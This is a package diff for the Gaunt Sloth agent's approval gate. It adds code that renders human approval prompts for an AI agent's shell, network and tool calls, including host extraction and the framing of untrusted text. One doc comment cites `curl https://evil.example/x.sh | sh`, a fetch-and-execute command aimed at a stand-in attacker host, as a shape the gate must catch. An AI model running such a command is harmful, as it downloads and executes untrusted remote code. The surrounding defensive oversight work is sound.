@gaunt-sloth/core 2.0.0-beta.1 → 2.0.0-beta.2

package/dist/core/approvals/approvalRequest.js

@@ -0,0 +1,315 @@
+import { approvalPromptHeader } from '#src/core/approvals/promptHeader.js';
+import { toolCallHosts } from '#src/core/approvals/toolHost.js';
+import { describeRaterOutcome, RATER_REASON_LABEL, } from '#src/core/shell/escalationSeverity.js';
+import { frameUntrustedCommand, frameUntrustedText, frameWidthFor, narrowTerminalNotice, STICKY_PREVIEW_MAX_ROWS, } from '#src/core/shell/framing.js';
+import { renderNegotiationRows } from '#src/core/shell/negotiation.js';
+import { findComposedOpenWorld, findOpenWorldHostLiterals } from '#src/core/shell/openWorld.js';
+/**
+ * The category sentence per {@link ApprovalCategory} — the only model of what the fixed block's
+ * second line may say.
+ *
+ * Each names the class of action rather than the action: *a shell command*, not the command. That
+ * is what makes them un-paddable, and it is also what makes them useful — a reader who sees the
+ * same four sentences over a session learns them, which a sentence built from the call never
+ * allows.
+ *
+ * The `network` line says the host is one the reader has not approved because that is what having
+ * reached a human means: a host the user named themselves is carved out of the open-world floor
+ * (§4.6) and a host on the allow-list never reaches this prompt at all.
+ */
+export const APPROVAL_CATEGORY_LINES = Object.freeze({
+    shell: 'It wants to run a shell command on this machine.',
+    network: 'It wants to reach a host over the network that you have not approved.',
+    mcpTool: 'It wants to call a tool on an MCP server.',
+    tool: 'It wants to use one of its own tools.',
+});
+/**
+ * The constant first line of the fixed block: Gaunt Sloth is asking, and an answer is what unblocks
+ * it.
+ *
+ * It names the product rather than "the agent" deliberately. This line is the one the eye lands on
+ * when a prompt appears under whatever the user was reading, and the fact worth carrying there is
+ * *which program on this terminal has stopped and is waiting for you*.
+ */
+export const APPROVAL_ASK_LINE = '⚠ Gaunt Sloth is asking you to approve a call.';
+/**
+ * The constant third line of the fixed block on a surface whose conversation SCROLLS: where the
+ * call itself went.
+ *
+ * Only the Ink TUI uses it. The readline surface prints the request block and the fixed lines in
+ * one linear run, where "above, in the conversation" would point at nothing in particular.
+ */
+export const APPROVAL_DETAILS_ABOVE_LINE = 'The call is shown above, in the conversation.';
+/** The heading the scrollable block opens with — our own, and never a place a name is spliced. */
+export const APPROVAL_REQUEST_HEADING = '⚠ Gaunt Sloth is asking about this call:';
+/**
+ * Our label for the hosts block, which sits last so it survives a long call above it.
+ *
+ * *This call* rather than *this command*: a gated tool names its counterparty in a structured
+ * argument, and that block is the same block.
+ */
+export const APPROVAL_HOSTS_LABEL = 'Hosts this call names:';
+/**
+ * The command a pending call would run, when the call carries one as a plain string.
+ *
+ * Deliberately keyed on the ARGUMENT rather than on the tool name: the two terminal surfaces have
+ * always shown `args.command` when it is a string and the serialised arguments otherwise, and a
+ * second rule for "is this a shell call" would be free to disagree with the one the gate ran on.
+ */
+function commandStringOf(pending) {
+    const command = pending.args.command;
+    return typeof command === 'string' ? command : undefined;
+}
+/** The text a surface shows as the call: the command, or the arguments it was given instead. */
+export function approvalCallText(pending) {
+    return commandStringOf(pending) ?? JSON.stringify(pending.args);
+}
+/**
+ * The hosts this call names in a fetch or transfer position — the counterparty's identity, in full.
+ *
+ * **Both extractions are asked, and that is not belt-and-braces.** `findOpenWorldHostLiterals`
+ * reads a command it can resolve statically and DECLINES on a composed one, which is measured
+ * rather than inferred: it returns the host for `curl https://evil.example/x.sh` and an empty array
+ * for `curl https://evil.example/x.sh | sh`. Asking it alone would leave this block silent on
+ * exactly the shapes that most need a counterparty named — a fetch piped into an interpreter, an
+ * archive piped into `ssh` — and an empty result there is indistinguishable from a command that
+ * names nobody. `findComposedOpenWorld` is the arm that reads those, and the union is what makes
+ * "no host block" mean "no host".
+ *
+ * Neither is a new notion of what a host position is: they are the two the gate itself decides on.
+ *
+ * **A call that is not a shell command is asked of `core/approvals/toolHost` instead**, which is
+ * again the gate's own extraction rather than a new one: it is what §4.7.4 binds a sticky tool
+ * grant's host with, read off the structured arguments by `URL` parsing. Without this arm the one
+ * tool whose whole purpose is to reach a counterparty — a gated web fetch — would render as a
+ * generic tool call with no host anywhere in the block, which is the exact loss this module exists
+ * to prevent, moved from a truncated line to an absent one.
+ *
+ * **It is asked for ALL the hosts, not for the subject's one.** `ApprovalSubject.host` is set only
+ * where a call names exactly one, because a grant may record only one — but a call naming several
+ * is the case where a reader most needs them named, and reading the subject's field would have gone
+ * silent on precisely that call.
+ */
+export function approvalHosts(pending) {
+    const kind = pending.subject?.kind;
+    const command = commandStringOf(pending);
+    if (kind === 'tool' || kind === 'mcpTool' || command === undefined) {
+        return toolCallHosts(pending.args);
+    }
+    const hosts = [...findOpenWorldHostLiterals(command)];
+    for (const host of findComposedOpenWorld(command)?.hosts ?? []) {
+        if (!hosts.includes(host))
+            hosts.push(host);
+    }
+    return hosts;
+}
+/**
+ * The {@link ApprovalCategory} for one gated call.
+ *
+ * The branch reads the subject the GATE decided on (`core/approvals/matcher`'s `ApprovalSubject`),
+ * so this is not a second classifier — `promptHeader` makes the same argument for the same reason.
+ * The one thing it adds is the `network` arm, which asks the same host extractions the gate itself
+ * ran ({@link approvalHosts}).
+ *
+ * **A named counterparty outranks the kind of call that names it, whatever the kind.** A fetch is
+ * the class where the host and not the verb is what the human is really ruling on, and that is as
+ * true of a gated web-fetch tool or an MCP tool handed a URL as it is of `curl` — the reader's
+ * question is *who is it talking to*, and answering it with *one of its own tools* buries the part
+ * that decides the answer. The kinds are what a call falls back to when it names nobody.
+ *
+ * **The two host extractions have deliberately different appetites, and the `network` arm inherits
+ * both.** A shell command's hosts come from a FETCH-POSITION analysis, so `echo https://x` names
+ * nobody; a tool's come from `core/approvals/toolHost`, whose whole test is *does this argument
+ * parse as a URL* — so writing a file whose entire content is a bare URL reads as `network` here.
+ * That over-detection is `toolHost`'s stated design (a value it fails to recognise costs a broader
+ * grant, never a narrower one) and this arm keeps it rather than second-guessing the extraction the
+ * grant is bound with. It errs toward the more alarming of two true sentences about a call that
+ * does carry a URL, which is the direction to err in.
+ *
+ * **A call with no subject falls to `tool` when it names nobody** — `promptHeader`'s fail-to-vague:
+ * a surface handed a hand-built interrupt gets the unspecific category rather than a specific one
+ * nothing established. It still reaches `network` where a host is named, since that arm reads the
+ * call rather than the subject.
+ */
+export function approvalCategoryFor(pending) {
+    if (approvalHosts(pending).length > 0)
+        return 'network';
+    if (pending.subject?.kind === 'shell')
+        return 'shell';
+    if (pending.subject?.kind === 'mcpTool')
+        return 'mcpTool';
+    return 'tool';
+}
+/** The fixed block's category line: one of {@link APPROVAL_CATEGORY_LINES}, and nothing else. */
+export function approvalCategoryLine(pending) {
+    return APPROVAL_CATEGORY_LINES[approvalCategoryFor(pending)];
+}
+/** An escalation severity in this module's tones. The three names line up one for one. */
+function severityTone(tone) {
+    return tone === 'danger' ? 'danger' : tone === 'warn' ? 'warn' : 'info';
+}
+/**
+ * A negotiation row's §5.4 voice in this module's tones.
+ *
+ * The rater's turns are `warn` because the human is ruling on an argument and an exchange painted
+ * in one colour asks them to work out who said what first. The agent's are `plain` and the
+ * renderer's own chrome is `chrome`, which is what both dialogs already did.
+ */
+function negotiationTone(voice) {
+    if (voice === 'rater')
+        return 'warn';
+    if (voice === 'chrome')
+        return 'chrome';
+    return 'plain';
+}
+/**
+ * The scrollable half of one approval request, as terminal rows.
+ *
+ * Every row is painted **verbatim, one row per line, and never re-wrapped** — the condition
+ * `core/shell/framing` states its column-0 guarantee over. A caller that joins these and hands them
+ * to something that wraps has undone the gutter.
+ *
+ * `columns` is what the surface reports (`stdout.columns`), resolved through `frameWidthFor` here
+ * so no two surfaces can disagree about how much of a command a human was shown. Below core's floor
+ * the frame is wider than the terminal and the guarantee lapses; `narrowTerminalNotice` leads the
+ * block in that case, so it lapses out loud.
+ *
+ * The order, top to bottom, and the reason for its two ends:
+ *
+ * 1. our heading and the category — the same category the fixed block names, so the two halves are
+ *    visibly one request;
+ * 2. the rating, the `approvals.escalate` entry that fired, the §5 negotiation, and what a sticky
+ *    answer would store — the EXPLANATION, which is the half that may be long and is the half that
+ *    may scroll away;
+ * 3. what is being called, then the command;
+ * 4. the hosts, LAST.
+ */
+export function approvalRequestRows(pending, options) {
+    const width = frameWidthFor(options?.columns);
+    const rows = [];
+    const push = (tone, text) => {
+        rows.push({ tone, text });
+    };
+    const tooNarrow = narrowTerminalNotice(options?.columns);
+    if (tooNarrow)
+        push('warn', tooNarrow);
+    push('warn', APPROVAL_REQUEST_HEADING);
+    push('warn', approvalCategoryLine(pending));
+    // The rating, whenever one exists. §6 makes the explanation mandatory wherever there is one; at
+    // the unrated rungs there is none and the block shows the call alone. The heading is the gate's
+    // own sentence — the outcome and what it MEANS for undoing the call — so the severity survives a
+    // terminal with no colour. The reason under it is model-authored prose and is framed exactly like
+    // the command: protecting one and not the other would leave the block forgeable through the
+    // string that is meant to explain it.
+    if (pending.safetyVerdict) {
+        const severity = describeRaterOutcome(pending.safetyVerdict.outcome);
+        const tone = severityTone(severity.tone);
+        push(tone, severity.heading);
+        // The attribution has to be said rather than implied, now that the line above it is ours.
+        push('chrome', RATER_REASON_LABEL);
+        for (const line of frameUntrustedText(pending.safetyVerdict.reason, { width }).lines) {
+            push(tone, line);
+        }
+    }
+    // EXT-71 §3.2 — the declared `approvals.escalate` entry that brought this call here. Without it
+    // the user is asked about a call their own rung would have approved, with nothing tying the
+    // question to the line they wrote, which reads as the gate malfunctioning rather than as their
+    // rule working. Framed rather than interpolated: an MCP entry can carry server-supplied names.
+    if (pending.escalatedBy) {
+        push('warn', '⚠ Your approvals.escalate list matched this call:');
+        for (const line of frameUntrustedText(pending.escalatedBy, { width }).lines)
+            push('warn', line);
+    }
+    // [[EXT-29]] §6 — the whole §5 negotiation, when one preceded this. That the agent proposed the
+    // same command three times against two rejections that each told it what to fix is the most
+    // important thing here, and a block showing the final attempt alone asks the user to rule on a
+    // command when the decision they actually have is about an argument.
+    for (const row of renderNegotiationRows(pending.negotiationRounds ?? [], {
+        width,
+        ...(pending.negotiationAttempts !== undefined ? { attempts: pending.negotiationAttempts } : {}),
+    })) {
+        push(negotiationTone(row.voice), row.text);
+    }
+    // EXT-71/EXT-70 §6 — what a sticky answer would store, at the moment of the choice and in the
+    // words the control is written in. Absent means the control is not offered at all.
+    //
+    // Still bounded to a few rows even here, where nothing scrolls off the bottom: these carry the
+    // command as typed and the entry repeats it, so an unbounded copy would print a long command
+    // three times over in one block for no gain over the framed copy below.
+    if (pending.grantPreview !== undefined) {
+        push('chrome', '[s]/[a] will remember:');
+        for (const line of frameUntrustedText(pending.grantSummary ?? pending.grantPreview, {
+            width,
+            maxRows: STICKY_PREVIEW_MAX_ROWS,
+        }).lines) {
+            push('aside', line);
+        }
+        push('chrome', '    stored as:');
+        for (const line of frameUntrustedText(pending.grantPreview, {
+            width,
+            maxRows: STICKY_PREVIEW_MAX_ROWS,
+        }).lines) {
+            push('aside', line);
+        }
+    }
+    // §6 — the deny mirror, and a DIFFERENT condition: the matcher's rule is *undecidable → no match
+    // on the allow side, a match on the deny side*, so a call the gate cannot statically resolve can
+    // be refused for good though it can never be approved for one. `recorded as:` rather than a
+    // second `stored as:` — one block with two labels that read alike is one a reader loses their
+    // place in.
+    if (pending.denyPreview !== undefined) {
+        push('chrome', '[d] will refuse this exact call, and save it to this project:');
+        for (const line of frameUntrustedText(pending.denySummary ?? pending.denyPreview, {
+            width,
+            maxRows: STICKY_PREVIEW_MAX_ROWS,
+        }).lines) {
+            push('aside', line);
+        }
+        push('chrome', '    recorded as:');
+        for (const line of frameUntrustedText(pending.denyPreview, {
+            width,
+            maxRows: STICKY_PREVIEW_MAX_ROWS,
+        }).lines) {
+            push('aside', line);
+        }
+    }
+    // [[TUI-C67]] — WHAT is being called, in core's one sentence, branched on the subject kind the
+    // gate itself decided on. It sits down here rather than at the top because it is identity rather
+    // than explanation, and identity is what has to survive a long block above it.
+    push('warn', `${approvalPromptHeader(pending)}:`);
+    // The call itself. Framed with the site extraction, which is what puts a command's substitution
+    // and composition boundaries — the decision-relevant positions in it — above the body.
+    const framedCall = frameUntrustedCommand(approvalCallText(pending), { width });
+    for (const notice of framedCall.notices)
+        push('warn', notice);
+    for (const line of framedCall.lines)
+        push('quoted', line);
+    // The counterparties, LAST. See this module's header for why this block and not the command is
+    // the one that ends the request: a hostile URL's identity is what a reader must not lose, and the
+    // rows nearest the prompt are the rows that survive.
+    const hosts = approvalHosts(pending);
+    if (hosts.length > 0) {
+        push('warn', APPROVAL_HOSTS_LABEL);
+        for (const host of hosts) {
+            for (const line of frameUntrustedText(host, { width }).lines)
+                push('warn', line);
+        }
+    }
+    return rows;
+}
+/**
+ * The tones as the readline surface's own {@link DialogTone}s.
+ *
+ * Exported so the mapping is one table rather than a `switch` inside a session module, and so a
+ * spec can assert both surfaces still paint every tone they are handed.
+ */
+export const APPROVAL_ROW_DIALOG_TONES = Object.freeze({
+    chrome: 'notice',
+    info: 'notice',
+    warn: 'warn',
+    danger: 'danger',
+    plain: 'plain',
+    quoted: 'plain',
+    aside: 'notice',
+});
+//# sourceMappingURL=approvalRequest.js.map

package/dist/core/approvals/approvalRequest.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"approvalRequest.js","sourceRoot":"","sources":["../../../src/core/approvals/approvalRequest.ts"],"names":[],"mappings":"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"}

package/dist/core/approvals/grants.d.ts

@@ -163,11 +163,45 @@ export interface PersistedApprovalGrantsOptions {
      * why the runner always passes one.
      */
     onNotice?: (notice: ShellApprovalGateNotice) => void;
+    /**
+     * Whether a file holding the v1 `prefixes` array is migrated to `exact` entries. **True by
+     * default, and set false by the deny store** ([[EXT-107]]), for two independent reasons:
+     *
+     * - **`prefixes` was never a format on the deny side.** A deny file carrying one was hand-written
+     *   by analogy, and turning a guess into standing refusals — with a notice worded for saved
+     *   *approvals*, which is the only notice there is — would report a migration that did not
+     *   describe what happened.
+     * - **A migration WRITES.** The deny store is read at every rung, `bypass` included, because a
+     *   refusal is resolved before the bypass return; the allow store is not read there precisely so
+     *   that a session with the gate switched off never rewrites the project's grant file. Leaving
+     *   this on would give the deny store the one load path that writes.
+     */
+    legacyPrefixMigration?: boolean;
+    /**
+     * [[EXT-143]] — **what this file holds, in the noun a user reads** in a load-failure notice
+     * ({@link unreadableFileNotice}, {@link skippedEntriesNotice}). The allow store passes
+     * `'approvals'` and the deny store `'refusals'`.
+     *
+     * It is a word, not a behaviour, and that is what keeps the class list-agnostic: nothing here
+     * reads it, compares against it or decides by it. A store still never learns which list it is —
+     * the file path decides that and the runner decides which list it hands to the matcher — but a
+     * message that could not name what was lost would be a message the reader cannot act on, since
+     * the two files fail in opposite directions.
+     *
+     * Omitting it is safe: {@link savedNoun} then says something true of either file rather than
+     * guessing. What is NOT safe is defaulting it to one side, so it does not.
+     */
+    holds?: 'approvals' | 'refusals';
 }
 /**
  * The persisted (`always`) grant store, backed by a JSON file whose path is injected (the runner
- * resolves it via fileUtils → `.gsloth/.gsloth-settings/shell-allowlist.json`) so tests can point it
- * at a temp dir.
+ * resolves it via fileUtils → `.gsloth/.gsloth-settings/shell-allowlist.json` for approvals and
+ * `…/shell-denylist.json` for refusals) so tests can point it at a temp dir.
+ *
+ * **One class, two files.** Which list a store's entries belong to is the caller's question, not
+ * this class's: it holds {@link ApprovalGrant} records and writes them back. The only thing either
+ * side configures is {@link PersistedApprovalGrantsOptions.legacyPrefixMigration}, which the deny
+ * store turns off.
  *
  * ## The v1 migration, and the direction it goes
  *
@@ -185,9 +219,65 @@ export interface PersistedApprovalGrantsOptions {
 export declare class PersistedApprovalGrants {
     private readonly store;
     private readonly filePath;
+    private readonly onNotice;
+    private readonly holds;
+    /**
+     * [[EXT-144]] — **what the load found in the file**, which decides whether it may ever be
+     * rewritten ({@link StoreReadState}). Anything but `readable` is a file whose load failed, exactly
+     * the outcomes {@link unreadableFileNotice} reports, and none of them may be written over.
+     *
+     * **An entry-level loss is deliberately not one of them.** A file whose `grants` array parsed but
+     * held one malformed member is a file this version *can* read: the rest of it is in force, which
+     * {@link skippedEntriesNotice} states to the user as a promise, and blocking every future save
+     * over one cosmetic typo would disable a working feature to protect an entry the reader has
+     * already been pointed at — by position and quoted text for the first
+     * {@link SKIPPED_ENTRIES_NAMED}, and by a count of the rest beyond that.
+     */
+    private readonly readState;
+    /**
+     * [[EXT-151]] — the top-level keys the read found and this version does not use, written back on
+     * every rewrite so a save cannot delete the parts of a user's file we do not recognise.
+     */
+    private readonly preserved;
+    /**
+     * Whether the file is believed to hold what this store holds — true after a read that succeeded
+     * or a write that landed, false after one that was refused or threw.
+     *
+     * It exists so {@link add} can answer honestly for an entry it did not have to write: "already
+     * held" is only "already in the file" if the file ever received it, and on a read-only checkout it
+     * did not.
+     */
+    private inSync;
     constructor(filePath: string, options?: PersistedApprovalGrantsOptions);
+    /**
+     * Read the file, and **report anything it lost on the way** ([[EXT-143]]).
+     *
+     * Every outcome that drops something a human saved reaches {@link
+     * PersistedApprovalGrantsOptions.onNotice}: an unreadable or unparseable file, a file whose shape
+     * this version does not recognise — a v1 `prefixes` file on the deny side, where the migration is
+     * deliberately off, is one — and any individual entry the grammar rejects. **Silence is reserved
+     * for the outcomes that lost nothing**, of which there are three: a file that is not there, one
+     * that reads cleanly, and one whose entry list is absent or empty ({@link holdsSavedEntries}).
+     *
+     * The recovery is unchanged and deliberately unchanged: a failure here yields fewer grants rather
+     * than throwing. **What that degrades to is not the same on the two sides**, which is why the
+     * notice describes the loss and not an outcome — a lost `always` approval means the human is asked
+     * again, while a lost `always` refusal means nothing refuses, and at `bypass` the call simply runs.
+     */
     private static load;
-    /** Each v1 prefix → an `exact` entry for the same string, with ONE notice naming the file. */
+    /**
+     * Each v1 prefix → an `exact` entry for the same string, with ONE notice naming the file.
+     *
